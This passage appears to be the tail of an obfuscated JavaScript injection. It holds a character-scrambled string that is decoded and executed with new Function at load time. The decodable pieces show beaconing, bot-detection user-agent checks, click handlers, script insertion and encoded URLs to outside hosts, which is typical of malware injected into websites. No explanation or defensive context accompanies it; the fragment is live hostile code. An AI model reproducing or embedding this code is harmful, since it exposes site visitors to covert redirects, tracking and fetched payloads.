]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();